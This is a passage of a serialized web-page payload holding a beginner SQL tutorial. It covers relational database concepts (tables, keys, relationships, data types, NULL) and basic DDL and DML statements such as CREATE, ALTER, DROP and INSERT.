them\ninstantly.",[16061,18497,18498],{},[11,18499,18500,18503,18504,18507],{},[1183,18501,18502],{},"Why SQL still matters in 2026:"," Despite the rise of NoSQL databases like\nMongoDB, the vast majority of production systems still rely on relational\ndatabases (PostgreSQL, MySQL, SQLite, Oracle, SQL Server). When comparing\n",[1183,18505,18506],{},"RDBMS vs NoSQL",", the relational model wins for structured, transactional\ndata. Understanding SQL deeply makes you a far more capable engineer,\nregardless of your specialization.",[18509,18510],"hr",{},[18,18512,18514],{"id":18513},"_2-foundational-concepts","2. Foundational Concepts",[23,18516,18518],{"id":18517},"_21-what-is-a-database","2.1 What is a Database?",[11,18520,1748,18521,18523],{},[1183,18522,18427],{}," is an organized collection of structured data stored\nelectronically. Think of it like a digital filing cabinet — but one that can\nfind any document in milliseconds, even if there are a billion of them.",[497,18525,18526,18539],{},[500,18527,18528],{},[503,18529,18530,18533,18536],{},[506,18531,18532],{},"Analogy",[506,18534,18535],{},"Real World",[506,18537,18538],{},"Database World",[519,18540,18541,18552,18563,18574],{},[503,18542,18543,18546,18549],{},[524,18544,18545],{},"Filing Cabinet",[524,18547,18548],{},"Physical storage room",[524,18550,18551],{},"Database",[503,18553,18554,18557,18560],{},[524,18555,18556],{},"File Folder",[524,18558,18559],{},"A category of documents",[524,18561,18562],{},"Table",[503,18564,18565,18568,18571],{},[524,18566,18567],{},"One Document",[524,18569,18570],{},"A single record",[524,18572,18573],{},"Row (tuple)",[503,18575,18576,18579,18582],{},[524,18577,18578],{},"A field on the document",[524,18580,18581],{},"One piece of info",[524,18583,18584],{},"Column (attribute)",[23,18586,18588],{"id":18587},"_22-what-is-an-rdbms","2.2 What is an RDBMS?",[11,18590,2521,18591,18594],{},[1183,18592,18593],{},"RDBMS"," (Relational Database Management System) is the software engine\nthat manages the database. It handles:",[483,18596,18597,18600,18603,18606],{},[486,18598,18599],{},"Storing data safely to disk",[486,18601,18602],{},"Letting multiple users read/write simultaneously without corruption",[486,18604,18605],{},"Enforcing rules (e.g., \"every order must have a valid customer\")",[486,18607,18608],{},"Executing SQL queries with high performance",[11,18610,18611],{},[1183,18612,18613],{},"Popular RDBMS options:",[497,18615,18616,18625],{},[500,18617,18618],{},[503,18619,18620,18622],{},[506,18621,18593],{},[506,18623,18624],{},"Best Known For",[519,18626,18627,18637,18647,18657,18667],{},[503,18628,18629,18634],{},[524,18630,18631],{},[1183,18632,18633],{},"PostgreSQL",[524,18635,18636],{},"Open-source, feature-rich, industry favourite",[503,18638,18639,18644],{},[524,18640,18641],{},[1183,18642,18643],{},"MySQL / MariaDB",[524,18645,18646],{},"Web applications (LAMP stack)",[503,18648,18649,18654],{},[524,18650,18651],{},[1183,18652,18653],{},"SQLite",[524,18655,18656],{},"Lightweight, embedded (used in Android, iOS)",[503,18658,18659,18664],{},[524,18660,18661],{},[1183,18662,18663],{},"Oracle DB",[524,18665,18666],{},"Enterprise, banking systems",[503,18668,18669,18674],{},[524,18670,18671],{},[1183,18672,18673],{},"Microsoft SQL Server",[524,18675,18676],{},"Windows/enterprise ecosystems",[16061,18678,18679],{},[11,18680,18681,18682,18684,18685,18687],{},"For learning, ",[1183,18683,18653],{}," is recommended because it requires zero setup.\nFor production projects, use ",[1183,18686,18633],{},". Both are covered in this\ncomplete SQL guide.",[23,18689,18691],{"id":18690},"_23-tables-rows-and-columns","2.3 Tables, Rows, and Columns",[11,18693,1748,18694,18696],{},[1183,18695,497],{}," is the fundamental unit of storage in a relational database. It\nlooks exactly like a spreadsheet grid.",[85,18698,18701],{"className":18699,"code":18700,"language":8778},[8776],"Table: students\n+------------+------------------+-----+--------+\n| student_id | name             | age | grade  |\n+------------+------------------+-----+--------+\n|     1      | Priya Sharma     |  20 |  A     |\n|     2      | Rahul Das        |  21 |  B+    |\n|     3      | Aisha Khan       |  19 |  A+    |\n+------------+------------------+-----+--------+\n",[34,18702,18700],{"__ignoreMap":90},[483,18704,18705,18716,18729],{},[486,18706,18707,18708,18711,18712,18715],{},"Each ",[1183,18709,18710],{},"column"," represents one ",[1512,18713,18714],{},"attribute"," or property (name, age, grade).",[486,18717,18707,18718,18721,18722,216,18725,18728],{},[1183,18719,18720],{},"row"," (also called a ",[1183,18723,18724],{},"record",[1183,18726,18727],{},"tuple",") represents one complete\nentity — in this case, one student.",[486,18730,4305,18731,18734,18735,18738],{},[1183,18732,18733],{},"schema"," is the blueprint of the table — its column names and their\ndata types. Good ",[1183,18736,18737],{},"database schema design"," is the cornerstone of a\nwell-structured application.",[23,18740,18742],{"id":18741},"_24-keys-the-identity-system","2.4 Keys — The Identity System",[11,18744,18745,18746,18749],{},"This is one of the most important concepts in all of RDBMS. Understanding the\ndifference between a ",[1183,18747,18748],{},"primary key vs foreign key"," is fundamental to relational\ndatabase design.",[18751,18752,18754],"h4",{"id":18753},"primary-key-pk","Primary Key (PK)",[11,18756,1748,18757,18760,18761,18764],{},[1183,18758,18759],{},"Primary Key"," is a column (or combination of columns) that ",[1183,18762,18763],{},"uniquely\nidentifies each row"," in a table. No two rows can have the same primary key\nvalue, and it can never be NULL.",[11,18766,18767],{},"Think of it like an Aadhaar number — every citizen has one, it's unique, and\nit never changes.",[85,18769,18773],{"className":18770,"code":18771,"language":18772,"meta":90,"style":90},"language-sql shiki shiki-themes github-dark","-- student_id is the Primary Key\nCREATE TABLE students (\n    student_id INT PRIMARY KEY,\n    name       VARCHAR(100),\n    age        INT\n);\n","sql",[34,18774,18775,18780,18794,18807,18822,18830],{"__ignoreMap":90},[94,18776,18777],{"class":96,"line":97},[94,18778,18779],{"class":790},"-- student_id is the Primary Key\n",[94,18781,18782,18785,18788,18791],{"class":96,"line":111},[94,18783,18784],{"class":753},"CREATE",[94,18786,18787],{"class":753}," TABLE",[94,18789,18790],{"class":146}," students",[94,18792,18793],{"class":100}," (\n",[94,18795,18796,18799,18802,18805],{"class":96,"line":122},[94,18797,18798],{"class":100},"    student_id ",[94,18800,18801],{"class":753},"INT",[94,18803,18804],{"class":753}," PRIMARY KEY",[94,18806,3848],{"class":100},[94,18808,18809,18812,18815,18817,18819],{"class":96,"line":138},[94,18810,18811],{"class":753},"    name",[94,18813,18814],{"class":753},"       VARCHAR",[94,18816,770],{"class":100},[94,18818,2186],{"class":757},[94,18820,18821],{"class":100},"),\n",[94,18823,18824,18827],{"class":96,"line":164},[94,18825,18826],{"class":100},"    age        ",[94,18828,18829],{"class":753},"INT\n",[94,18831,18832],{"class":96,"line":174},[94,18833,2093],{"class":100},[18751,18835,18837],{"id":18836},"foreign-key-fk","Foreign Key (FK)",[11,18839,1748,18840,18843,18844,18847,18848,18850],{},[1183,18841,18842],{},"Foreign Key"," is a column in one table that ",[1512,18845,18846],{},"references"," the Primary Key\nof another table. This is how relationships between tables are enforced.\nThe ",[1183,18849,18748],{}," distinction is what makes the \"relational\"\nin RDBMS meaningful.",[85,18852,18854],{"className":18770,"code":18853,"language":18772,"meta":90,"style":90},"-- course_id in enrollments REFERENCES the courses table\nCREATE TABLE enrollments (\n    enrollment_id INT PRIMARY KEY,\n    student_id    INT REFERENCES students(student_id),\n    course_id     INT REFERENCES courses(course_id),\n    enrolled_on   DATE\n);\n",[34,18855,18856,18861,18872,18883,18896,18908,18916],{"__ignoreMap":90},[94,18857,18858],{"class":96,"line":97},[94,18859,18860],{"class":790},"-- course_id in enrollments REFERENCES the courses table\n",[94,18862,18863,18865,18867,18870],{"class":96,"line":111},[94,18864,18784],{"class":753},[94,18866,18787],{"class":753},[94,18868,18869],{"class":146}," enrollments",[94,18871,18793],{"class":100},[94,18873,18874,18877,18879,18881],{"class":96,"line":122},[94,18875,18876],{"class":100},"    enrollment_id ",[94,18878,18801],{"class":753},[94,18880,18804],{"class":753},[94,18882,3848],{"class":100},[94,18884,18885,18888,18890,18893],{"class":96,"line":138},[94,18886,18887],{"class":100},"    student_id    ",[94,18889,18801],{"class":753},[94,18891,18892],{"class":753}," REFERENCES",[94,18894,18895],{"class":100}," students(student_id),\n",[94,18897,18898,18901,18903,18905],{"class":96,"line":164},[94,18899,18900],{"class":100},"    course_id     ",[94,18902,18801],{"class":753},[94,18904,18892],{"class":753},[94,18906,18907],{"class":100}," courses(course_id),\n",[94,18909,18910,18913],{"class":96,"line":174},[94,18911,18912],{"class":100},"    enrolled_on   ",[94,18914,18915],{"class":753},"DATE\n",[94,18917,18918],{"class":96,"line":188},[94,18919,2093],{"class":100},[16061,18921,18922],{},[11,18923,18924,18927,18928,18931,18932,18935,18936,18939],{},[1183,18925,18926],{},"Analogy:"," If ",[34,18929,18930],{},"students"," is a list of employees and ",[34,18933,18934],{},"enrollments"," is a\nlist of projects, then the foreign key is like writing an employee's badge\nnumber on the project sheet — it ",[1512,18937,18938],{},"links"," back to the actual person.",[18751,18941,18943],{"id":18942},"candidate-key-composite-key-surrogate-key","Candidate Key, Composite Key, Surrogate Key",[497,18945,18946,18959],{},[500,18947,18948],{},[503,18949,18950,18953,18956],{},[506,18951,18952],{},"Key Type",[506,18954,18955],{},"Definition",[506,18957,18958],{},"Example",[519,18960,18961,18983,18999,19014],{},[503,18962,18963,18968,18975],{},[524,18964,18965],{},[1183,18966,18967],{},"Candidate Key",[524,18969,18970,18971,18974],{},"Any column that ",[1512,18972,18973],{},"could"," be a PK",[524,18976,18977,216,18980],{},[34,18978,18979],{},"email",[34,18981,18982],{},"student_id",[503,18984,18985,18990,18993],{},[524,18986,18987],{},[1183,18988,18989],{},"Composite Key",[524,18991,18992],{},"PK made of two or more columns",[524,18994,18995,18998],{},[34,18996,18997],{},"(student_id, course_id)"," together",[503,19000,19001,19006,19009],{},[524,19002,19003],{},[1183,19004,19005],{},"Surrogate Key",[524,19007,19008],{},"An artificial PK (like an auto-increment ID)",[524,19010,19011],{},[34,19012,19013],{},"id SERIAL",[503,19015,19016,19021,19024],{},[524,19017,19018],{},[1183,19019,19020],{},"Natural Key",[524,19022,19023],{},"A PK from real-world data",[524,19025,19026],{},[34,19027,19028],{},"PAN_number",[23,19030,19032],{"id":19031},"_25-relationships-between-tables","2.5 Relationships Between Tables",[11,19034,19035,19036,19039,19040,19043],{},"The \"relational\" in RDBMS refers to the ",[1512,19037,19038],{},"relationships"," between tables, which is a central part of ",[1183,19041,19042],{},"entity relationship"," modelling. There are three fundamental types:",[11,19045,19046],{},[426,19047],{"alt":19048,"src":19049},"Database Relationship Types","/post-images/sql-made-dead-simple-rdbms-guide/database-relationship-types.png",[18751,19051,19053],{"id":19052},"one-to-one-11","One-to-One (1:1)",[11,19055,19056],{},"One row in Table A corresponds to exactly one row in Table B.",[11,19058,19059,19062,19063,19066,19067,360],{},[1183,19060,19061],{},"Example:"," One ",[34,19064,19065],{},"user"," has exactly one ",[34,19068,19069],{},"user_profile",[85,19071,19074],{"className":19072,"code":19073,"language":8778},[8776],"users             user_profiles\n+----+--------+   +----+---------+-----------+\n| id | name   |   | id | user_id | bio       |\n+----+--------+   +----+---------+-----------+\n|  1 | Rahul  |   |  1 |    1    | Developer |\n|  2 | Priya  |   |  2 |    2    | Designer  |\n+----+--------+   +----+---------+-----------+\n",[34,19075,19073],{"__ignoreMap":90},[18751,19077,19079],{"id":19078},"one-to-many-1n-most-common","One-to-Many (1:N) ← Most Common",[11,19081,19082,19083,19086],{},"One row in Table A corresponds to ",[1512,19084,19085],{},"many"," rows in Table B.",[11,19088,19089,19062,19091,19094,19095,360],{},[1183,19090,19061],{},[34,19092,19093],{},"customer"," can place many ",[34,19096,19097],{},"orders",[85,19099,19102],{"className":19100,"code":19101,"language":8778},[8776],"customers                orders\n+----+--------+          +----+-------------+----------+\n| id | name   |          | id | customer_id | amount   |\n+----+--------+          +----+-------------+----------+\n|  1 | Rahul  |          |  1 |      1      | ₹500     |\n|  2 | Priya  |          |  2 |      1      | ₹1200    |\n+----+--------+          |  3 |      2      | ₹800     |\n                         +----+-------------+----------+\n",[34,19103,19101],{"__ignoreMap":90},[18751,19105,19107],{"id":19106},"many-to-many-mn","Many-to-Many (M:N)",[11,19109,19110,19111,19114],{},"Many rows in Table A correspond to many rows in Table B. This requires a\n",[1183,19112,19113],{},"junction table"," (also called a bridge or pivot table) in the middle.",[11,19116,19117,19119,19120,19123,19124,19127,19128,19131,19132,360],{},[1183,19118,19061],{}," A ",[34,19121,19122],{},"student"," can enroll in many ",[34,19125,19126],{},"courses",", and a ",[34,19129,19130],{},"course"," can have many ",[34,19133,18930],{},[85,19135,19137],{"className":18770,"code":19136,"language":18772,"meta":90,"style":90},"CREATE TABLE enrollments (\n    student_id INT REFERENCES students(id),\n    course_id  INT REFERENCES courses(id),\n    PRIMARY KEY (student_id, course_id)   -- Composite PK\n);\n",[34,19138,19139,19149,19160,19172,19183],{"__ignoreMap":90},[94,19140,19141,19143,19145,19147],{"class":96,"line":97},[94,19142,18784],{"class":753},[94,19144,18787],{"class":753},[94,19146,18869],{"class":146},[94,19148,18793],{"class":100},[94,19150,19151,19153,19155,19157],{"class":96,"line":111},[94,19152,18798],{"class":100},[94,19154,18801],{"class":753},[94,19156,18892],{"class":753},[94,19158,19159],{"class":100}," students(id),\n",[94,19161,19162,19165,19167,19169],{"class":96,"line":122},[94,19163,19164],{"class":100},"    course_id  ",[94,19166,18801],{"class":753},[94,19168,18892],{"class":753},[94,19170,19171],{"class":100}," courses(id),\n",[94,19173,19174,19177,19180],{"class":96,"line":138},[94,19175,19176],{"class":753},"    PRIMARY KEY",[94,19178,19179],{"class":100}," (student_id, course_id)   ",[94,19181,19182],{"class":790},"-- Composite PK\n",[94,19184,19185],{"class":96,"line":164},[94,19186,2093],{"class":100},[23,19188,19190],{"id":19189},"_26-data-types","2.6 Data Types",[11,19192,19193,19194,19197,19198,19201],{},"Every column has a ",[1183,19195,19196],{},"data type"," that restricts what kind of data it can hold.\nChoosing the right ",[1183,19199,19200],{},"data types in SQL"," is crucial for data integrity and\nstorage efficiency.",[497,19203,19204,19217],{},[500,19205,19206],{},[503,19207,19208,19211,19214],{},[506,19209,19210],{},"Category",[506,19212,19213],{},"Common Types",[506,19215,19216],{},"Example Values",[519,19218,19219,19246,19272,19298,19318,19344],{},[503,19220,19221,19226,19236],{},[524,19222,19223],{},[1183,19224,19225],{},"Integer",[524,19227,19228,346,19230,346,19233],{},[34,19229,18801],{},[34,19231,19232],{},"BIGINT",[34,19234,19235],{},"SMALLINT",[524,19237,19238,346,19240,346,19243],{},[34,19239,2591],{},[34,19241,19242],{},"99",[34,19244,19245],{},"1000000",[503,19247,19248,19253,19264],{},[524,19249,19250],{},[1183,19251,19252],{},"Decimal",[524,19254,19255,346,19258,346,19261],{},[34,19256,19257],{},"DECIMAL(p,s)",[34,19259,19260],{},"NUMERIC",[34,19262,19263],{},"FLOAT",[524,19265,19266,346,19269],{},[34,19267,19268],{},"9.99",[34,19270,19271],{},"3.14159",[503,19273,19274,19279,19290],{},[524,19275,19276],{},[1183,19277,19278],{},"Text",[524,19280,19281,346,19284,346,19287],{},[34,19282,19283],{},"VARCHAR(n)",[34,19285,19286],{},"TEXT",[34,19288,19289],{},"CHAR(n)",[524,19291,19292,346,19295],{},[34,19293,19294],{},"'Rahul'",[34,19296,19297],{},"'Hello World'",[503,19299,19300,19305,19310],{},[524,19301,19302],{},[1183,19303,19304],{},"Boolean",[524,19306,19307],{},[34,19308,19309],{},"BOOLEAN",[524,19311,19312,346,19315],{},[34,19313,19314],{},"TRUE",[34,19316,19317],{},"FALSE",[503,19319,19320,19325,19336],{},[524,19321,19322],{},[1183,19323,19324],{},"Date/Time",[524,19326,19327,346,19330,346,19333],{},[34,19328,19329],{},"DATE",[34,19331,19332],{},"TIME",[34,19334,19335],{},"TIMESTAMP",[524,19337,19338,346,19341],{},[34,19339,19340],{},"2024-01-15",[34,19342,19343],{},"09:30:00",[503,19345,19346,19351,19359],{},[524,19347,19348],{},[1183,19349,19350],{},"Binary",[524,19352,19353,346,19356],{},[34,19354,19355],{},"BYTEA",[34,19357,19358],{},"BLOB",[524,19360,19361],{},"Image files, PDFs",[16061,19363,19364],{},[11,19365,19366,19373,19374,19376,19377,19379],{},[1183,19367,19368,3243,19370,19372],{},[34,19369,19283],{},[34,19371,19286],{},":"," Use ",[34,19375,19283],{}," when you know the max length\n(e.g., a phone number is always ≤15 chars). Use ",[34,19378,19286],{}," for open-ended\nstrings like comments or descriptions.",[23,19381,19383],{"id":19382},"_27-null-the-absence-of-a-value","2.7 NULL — The Absence of a Value",[11,19385,19386,19389,19390,19393,19394,19396,19397,19399],{},[34,19387,19388],{},"NULL"," in SQL means ",[1183,19391,19392],{},"the value is unknown or does not exist",". It is ",[1512,19395,3231],{},"\nzero, it is ",[1512,19398,3231],{}," an empty string — it is the complete absence of a value.",[11,19401,19402],{},"This is a frequent source of confusion for beginners learning SQL.",[85,19404,19406],{"className":18770,"code":19405,"language":18772,"meta":90,"style":90},"-- These are all DIFFERENT:\nage = 0        -- The person is 0 years old\nage = ''       -- Invalid for INT; for text, it's an empty string\nage = NULL     -- We simply don't know the person's age\n",[34,19407,19408,19413,19425,19437],{"__ignoreMap":90},[94,19409,19410],{"class":96,"line":97},[94,19411,19412],{"class":790},"-- These are all DIFFERENT:\n",[94,19414,19415,19418,19420,19422],{"class":96,"line":111},[94,19416,19417],{"class":100},"age ",[94,19419,150],{"class":753},[94,19421,5159],{"class":757},[94,19423,19424],{"class":790},"        -- The person is 0 years old\n",[94,19426,19427,19429,19431,19434],{"class":96,"line":122},[94,19428,19417],{"class":100},[94,19430,150],{"class":753},[94,19432,19433],{"class":153}," ''",[94,19435,19436],{"class":790},"       -- Invalid for INT; for text, it's an empty string\n",[94,19438,19439,19441,19443,19446],{"class":96,"line":138},[94,19440,19417],{"class":100},[94,19442,150],{"class":753},[94,19444,19445],{"class":753}," NULL",[94,19447,19448],{"class":790},"     -- We simply don't know the person's age\n",[16061,19450,19451],{},[11,19452,19453,19456,19457,19459,19460,216,19463,360],{},[1183,19454,19455],{},"Critical Rule:"," You cannot compare NULL using ",[34,19458,150],{},". You must use\n",[34,19461,19462],{},"IS NULL",[34,19464,19465],{},"IS NOT NULL",[85,19467,19469],{"className":18770,"code":19468,"language":18772,"meta":90,"style":90},"-- WRONG — this will never return results even if age is NULL\nSELECT * FROM students WHERE age = NULL;\n\n-- CORRECT\nSELECT * FROM students WHERE age IS NULL;\n",[34,19470,19471,19476,19502,19506,19511],{"__ignoreMap":90},[94,19472,19473],{"class":96,"line":97},[94,19474,19475],{"class":790},"-- WRONG — this will never return results even if age is NULL\n",[94,19477,19478,19481,19484,19487,19490,19493,19496,19498,19500],{"class":96,"line":111},[94,19479,19480],{"class":753},"SELECT",[94,19482,19483],{"class":753}," *",[94,19485,19486],{"class":753}," FROM",[94,19488,19489],{"class":100}," students ",[94,19491,19492],{"class":753},"WHERE",[94,19494,19495],{"class":100}," age ",[94,19497,150],{"class":753},[94,19499,19445],{"class":753},[94,19501,1302],{"class":100},[94,19503,19504],{"class":96,"line":122},[94,19505,289],{"emptyLinePlaceholder":288},[94,19507,19508],{"class":96,"line":138},[94,19509,19510],{"class":790},"-- CORRECT\n",[94,19512,19513,19515,19517,19519,19521,19523,19525,19528,19530],{"class":96,"line":164},[94,19514,19480],{"class":753},[94,19516,19483],{"class":753},[94,19518,19486],{"class":753},[94,19520,19489],{"class":100},[94,19522,19492],{"class":753},[94,19524,19495],{"class":100},[94,19526,19527],{"class":753},"IS",[94,19529,19445],{"class":753},[94,19531,1302],{"class":100},[18509,19533],{},[18,19535,19537],{"id":19536},"_3-sql-the-language-of-databases","3. SQL — The Language of Databases",[11,19539,19540,19541,19372],{},"SQL (pronounced \"sequel\" or \"S-Q-L\") is divided into sub-languages based on\nwhat they do. This is essential knowledge when you ",[1183,19542,18444],{},[497,19544,19545,19560],{},[500,19546,19547],{},[503,19548,19549,19552,19555,19557],{},[506,19550,19551],{},"Sub-language",[506,19553,19554],{},"Full Name",[506,19556,16452],{},[506,19558,19559],{},"Commands",[519,19561,19562,19588,19612,19629,19650],{},[503,19563,19564,19569,19572,19575],{},[524,19565,19566],{},[1183,19567,19568],{},"DDL",[524,19570,19571],{},"Data Definition Language",[524,19573,19574],{},"Define/modify structure",[524,19576,19577,346,19579,346,19582,346,19585],{},[34,19578,18784],{},[34,19580,19581],{},"ALTER",[34,19583,19584],{},"DROP",[34,19586,19587],{},"TRUNCATE",[503,19589,19590,19595,19598,19601],{},[524,19591,19592],{},[1183,19593,19594],{},"DML",[524,19596,19597],{},"Data Manipulation Language",[524,19599,19600],{},"Add/change/delete data",[524,19602,19603,346,19606,346,19609],{},[34,19604,19605],{},"INSERT",[34,19607,19608],{},"UPDATE",[34,19610,19611],{},"DELETE",[503,19613,19614,19619,19622,19625],{},[524,19615,19616],{},[1183,19617,19618],{},"DQL",[524,19620,19621],{},"Data Query Language",[524,19623,19624],{},"Read/fetch data",[524,19626,19627],{},[34,19628,19480],{},[503,19630,19631,19636,19639,19642],{},[524,19632,19633],{},[1183,19634,19635],{},"DCL",[524,19637,19638],{},"Data Control Language",[524,19640,19641],{},"Manage permissions",[524,19643,19644,346,19647],{},[34,19645,19646],{},"GRANT",[34,19648,19649],{},"REVOKE",[503,19651,19652,19657,19660,19663],{},[524,19653,19654],{},[1183,19655,19656],{},"TCL",[524,19658,19659],{},"Transaction Control Language",[524,19661,19662],{},"Manage transactions",[524,19664,19665,346,19668,346,19671],{},[34,19666,19667],{},"COMMIT",[34,19669,19670],{},"ROLLBACK",[34,19672,19673],{},"SAVEPOINT",[23,19675,19677],{"id":19676},"_31-ddl-defining-structure","3.1 DDL — Defining Structure",[18751,19679,19681],{"id":19680},"create-table","CREATE TABLE",[85,19683,19685],{"className":18770,"code":19684,"language":18772,"meta":90,"style":90},"CREATE TABLE products (\n    product_id   SERIAL PRIMARY KEY,       -- auto-incrementing ID\n    name         VARCHAR(200) NOT NULL,\n    description  TEXT,\n    price        DECIMAL(10, 2) NOT NULL,  -- up to 10 digits, 2 decimal places\n    stock_count  INT DEFAULT 0,\n    created_at   TIMESTAMP DEFAULT NOW()\n);\n",[34,19686,19687,19698,19714,19732,19742,19768,19782,19796],{"__ignoreMap":90},[94,19688,19689,19691,19693,19696],{"class":96,"line":97},[94,19690,18784],{"class":753},[94,19692,18787],{"class":753},[94,19694,19695],{"class":146}," products",[94,19697,18793],{"class":100},[94,19699,19700,19703,19706,19708,19711],{"class":96,"line":111},[94,19701,19702],{"class":100},"    product_id   ",[94,19704,19705],{"class":753},"SERIAL",[94,19707,18804],{"class":753},[94,19709,19710],{"class":100},",       ",[94,19712,19713],{"class":790},"-- auto-incrementing ID\n",[94,19715,19716,19718,19721,19723,19725,19727,19730],{"class":96,"line":122},[94,19717,18811],{"class":753},[94,19719,19720],{"class":753},"         VARCHAR",[94,19722,770],{"class":100},[94,19724,2478],{"class":757},[94,19726,3615],{"class":100},[94,19728,19729],{"class":753},"NOT NULL",[94,19731,3848],{"class":100},[94,19733,19734,19737,19740],{"class":96,"line":138},[94,19735,19736],{"class":753},"    description",[94,19738,19739],{"class":753},"  TEXT",[94,19741,3848],{"class":100},[94,19743,19744,19747,19750,19752,19754,19756,19758,19760,19762,19765],{"class":96,"line":164},[94,19745,19746],{"class":100},"    price        ",[94,19748,19749],{"class":753},"DECIMAL",[94,19751,770],{"class":100},[94,19753,5430],{"class":757},[94,19755,346],{"class":100},[94,19757,5055],{"class":757},[94,19759,3615],{"class":100},[94,19761,19729],{"class":753},[94,19763,19764],{"class":100},",  ",[94,19766,19767],{"class":790},"-- up to 10 digits, 2 decimal places\n",[94,19769,19770,19773,19775,19778,19780],{"class":96,"line":174},[94,19771,19772],{"class":100},"    stock_count  ",[94,19774,18801],{"class":753},[94,19776,19777],{"class":753}," DEFAULT",[94,19779,5159],{"class":757},[94,19781,3848],{"class":100},[94,19783,19784,19787,19789,19791,19794],{"class":96,"line":188},[94,19785,19786],{"class":100},"    created_at   ",[94,19788,19335],{"class":753},[94,19790,19777],{"class":753},[94,19792,19793],{"class":753}," NOW",[94,19795,3420],{"class":100},[94,19797,19798],{"class":96,"line":203},[94,19799,2093],{"class":100},[18751,19801,19803],{"id":19802},"alter-table","ALTER TABLE",[85,19805,19807],{"className":18770,"code":19806,"language":18772,"meta":90,"style":90},"-- Add a new column\nALTER TABLE products ADD COLUMN category VARCHAR(100);\n\n-- Change a column's data type\nALTER TABLE products ALTER COLUMN name TYPE TEXT;\n\n-- Rename a column\nALTER TABLE products RENAME COLUMN stock_count TO quantity;\n\n-- Drop a column\nALTER TABLE products DROP COLUMN description;\n",[34,19808,19809,19814,19838,19842,19847,19870,19874,19879,19894,19898,19903],{"__ignoreMap":90},[94,19810,19811],{"class":96,"line":97},[94,19812,19813],{"class":790},"-- Add a new column\n",[94,19815,19816,19818,19820,19823,19826,19829,19832,19834,19836],{"class":96,"line":111},[94,19817,19581],{"class":753},[94,19819,18787],{"class":753},[94,19821,19822],{"class":100}," products ",[94,19824,19825],{"class":753},"ADD",[94,19827,19828],{"class":100}," COLUMN category ",[94,19830,19831],{"class":753},"VARCHAR",[94,19833,770],{"class":100},[94,19835,2186],{"class":757},[94,19837,2093],{"class":100},[94,19839,19840],{"class":96,"line":122},[94,19841,289],{"emptyLinePlaceholder":288},[94,19843,19844],{"class":96,"line":138},[94,19845,19846],{"class":790},"-- Change a column's data type\n",[94,19848,19849,19851,19853,19855,19857,19860,19862,19865,19868],{"class":96,"line":164},[94,19850,19581],{"class":753},[94,19852,18787],{"class":753},[94,19854,19822],{"class":100},[94,19856,19581],{"class":753},[94,19858,19859],{"class":100}," COLUMN ",[94,19861,4026],{"class":753},[94,19863,19864],{"class":753}," TYPE",[94,19866,19867],{"class":753}," TEXT",[94,19869,1302],{"class":100},[94,19871,19872],{"class":96,"line":174},[94,19873,289],{"emptyLinePlaceholder":288},[94,19875,19876],{"class":96,"line":188},[94,19877,19878],{"class":790},"-- Rename a column\n",[94,19880,19881,19883,19885,19888,19891],{"class":96,"line":203},[94,19882,19581],{"class":753},[94,19884,18787],{"class":753},[94,19886,19887],{"class":100}," products RENAME COLUMN stock_count ",[94,19889,19890],{"class":753},"TO",[94,19892,19893],{"class":100}," quantity;\n",[94,19895,19896],{"class":96,"line":1695},[94,19897,289],{"emptyLinePlaceholder":288},[94,19899,19900],{"class":96,"line":1702},[94,19901,19902],{"class":790},"-- Drop a column\n",[94,19904,19905,19907,19909,19911,19913,19915,19918],{"class":96,"line":1714},[94,19906,19581],{"class":753},[94,19908,18787],{"class":753},[94,19910,19822],{"class":100},[94,19912,19584],{"class":753},[94,19914,19859],{"class":100},[94,19916,19917],{"class":753},"description",[94,19919,1302],{"class":100},[18751,19921,19923],{"id":19922},"drop-truncate","DROP & TRUNCATE",[85,19925,19927],{"className":18770,"code":19926,"language":18772,"meta":90,"style":90},"-- Deletes the entire table structure AND all data (irreversible)\nDROP TABLE products;\n\n-- Deletes ALL data inside the table, but keeps the structure\nTRUNCATE TABLE products;\n",[34,19928,19929,19934,19943,19947,19952],{"__ignoreMap":90},[94,19930,19931],{"class":96,"line":97},[94,19932,19933],{"class":790},"-- Deletes the entire table structure AND all data (irreversible)\n",[94,19935,19936,19938,19940],{"class":96,"line":111},[94,19937,19584],{"class":753},[94,19939,18787],{"class":753},[94,19941,19942],{"class":100}," products;\n",[94,19944,19945],{"class":96,"line":122},[94,19946,289],{"emptyLinePlaceholder":288},[94,19948,19949],{"class":96,"line":138},[94,19950,19951],{"class":790},"-- Deletes ALL data inside the table, but keeps the structure\n",[94,19953,19954,19956,19958],{"class":96,"line":164},[94,19955,19587],{"class":753},[94,19957,18787],{"class":753},[94,19959,19942],{"class":100},[16061,19961,19962],{},[11,19963,19964,5607,19967,70,19969,19971],{},[1183,19965,19966],{},"Warning:",[34,19968,19584],{},[34,19970,19587],{}," are dangerous. Always double-check before\nrunning them, especially in production.",[23,19973,19975],{"id":19974},"_32-dml-manipulating-data","3.2 DML — Manipulating Data",[18751,19977,19605],{"id":19978},"insert",[85,19980,19982],{"className":18770,"code":19981,"language":18772,"meta":90,"style":90},"-- Insert one row\nINSERT INTO products (name, price, stock_count)\nVALUES ('Mechanical Keyboard', 3499.00, 50);\n\n-- Insert multiple rows at once\nINSERT INTO products (name, price, stock_count) VALUES\n    ('Wireless Mouse', 999.00, 120),\n    ('USB-C Hub', 1499.00, 75),\n    ('Laptop Stand', 2199.00, 30);\n",[34,19983,19984,19989,20002,20029,20033,20038,20052,20076,20099],{"__ignoreMap":90},[94,19985,19986],{"class":96,"line":97},[94,19987,19988],{"class":790},"-- Insert one row\n",[94,19990,19991,19994,19997,19999],{"class":96,"line":111},[94,19992,19993],{"class":753},"INSERT INTO",[94,19995,19996],{"class":100}," products (",[94,19998,4026],{"class":753},[94,20000,20001],{"class":100},", price, stock_count)\n",[94,20003,20004,20007,20009,20012,20014,20017,20019,20022,20024,20027],{"class":96,"line":122},[94,20005,20006],{"class":753},"VALUES",[94,20008,2253],{"class":100},[94,20010,20011],{"class":153},"'Mechanical Keyboard'",[94,20013,346],{"class":100},[94,20015,20016],{"class":757},"3499",[94,20018,360],{"class":100},[94,20020,20021],{"class":757},"00",[94,20023,346],{"class":100},[94,20025,20026],{"class":757},"50",[94,20028,2093],{"class":100},[94,20030,20031],{"class":96,"line":138},[94,20032,289],{"emptyLinePlaceholder":288},[94,20034,20035],{"class":96,"line":164},[94,20036,20037],{"class":790},"-- Insert multiple rows at once\n",[94,20039,20040,20042,20044,20046,20049],{"class":96,"line":174},[94,20041,19993],{"class":753},[94,20043,19996],{"class":100},[94,20045,4026],{"class":753},[94,20047,20048],{"class":100},", price, stock_count) ",[94,20050,20051],{"class":753},"VALUES\n",[94,20053,20054,20057,20060,20062,20065,20067,20069,20071,20074],{"class":96,"line":188},[94,20055,20056],{"class":100},"    